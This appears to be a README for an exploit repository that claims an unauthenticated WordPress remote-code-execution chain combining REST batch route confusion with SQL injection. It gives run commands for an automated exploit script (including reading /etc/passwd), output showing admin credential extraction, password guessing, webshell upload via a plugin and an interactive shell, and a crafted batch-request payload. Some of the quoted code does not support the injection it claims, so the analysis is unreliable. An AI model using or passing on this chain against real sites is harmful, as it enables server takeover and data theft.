
WordPress unauthenticated RCE exploit combining route confusion and SQL injection. Automated script, lab setup, and detailed vulnerability analysis provided.
Vulnerability: REST Batch Route Confusion + WP_Query SQL Injection → Full RCE
CVSS v3.1: 10.0 / 10.0 — CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affected: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Patched: 6.9.5, 7.0.2
Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
Requirements: Docker + Docker Compose
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
# Full auto chain — interactive shell
python3 exploit.py http://localhost:8080
# Or run a single command
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
# Check-only mode (no exploitation)
python3 exploit.py http://localhost:8080 --check-only
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| File | Description |
|---|---|
README.md | Full vulnerability analysis and exploitation writeup |
exploit.py | Automated exploit script (zero-access → RCE in one command) |
docker-compose.yml | Vulnerable WordPress lab environment |
chain-rce.md | Automated RCE chain documentation |
images/ | Screenshots from manual exploitation |
Vulnerability: Unauthenticated Remote Code Execution — REST Batch Route Confusion + WP_Query SQL Injection
CVSS v3.1: 10.0 / 10.0 — CRITICAL
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137 is an unauthenticated RCE vulnerability in WordPress core. It combines two independent bugs into a complete exploit chain from zero-access to full server compromise:
| CVE | Bug | Role in chain |
|---|---|---|
| CVE-2026-63030 | REST Batch Route Confusion | Bypass authentication |
| CVE-2026-60137 | author__not_in SQL Injection | Arbitrary database read/write |
Affected versions:
Exploitation conditions:
→ The vast majority of WordPress installations are vulnerable by default.
/wp-json/batch/v1)Allows sending multiple REST API requests within a single HTTP request:
POST /wp-json/batch/v1
{
"requests": [
{"method": "GET", "path": "/wp/v2/posts/1"},
{"method": "GET", "path": "/wp/v2/users/me"}
]
}
Each sub-request is matched with its own handler, and each handler has its own permission callback.
author__not_inCore database query class. The author__not_in parameter accepts an array of integers, generating the SQL clause:
AND post_author NOT IN (5, 12, 23)
Each element passes through absint() → retaining only the integer part.
wp_parse_url()Wrapper for parse_url(). When receiving an invalid URL → returns WP_Error.
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
File: wp-includes/rest-api/class-wp-rest-server.php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request:
[0]: {"method": "POST", "path": "///"} ← PRIMER (malformed)
[1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing:
i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added
i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch:
i=0: skip (already has response)
i=1: $handler = $matches[0]
→ But $matches[0] is NOT the handler meant for request[1]
→ Incorrect permission callback → bypass authentication
"///" trigger the bug?When PHP parse_url() encounters "///", it attempts to parse it according to RFC 3986 — URL structure:
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
When receiving "///", it interprets it as:
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP return result:
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress wraps this in wp_parse_url() → detects no valid scheme, no valid host, no meaningful path → returns WP_Error.
wp_parse_url("///") returns WP_Error (URL malformed). This error causes the request to be skipped in the loop building $matches, but it is NOT skipped in the dispatch loop → the array becomes desynced.
File: wp-includes/class-wp-query.php
class WP_Query {
public function get_posts() {
global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}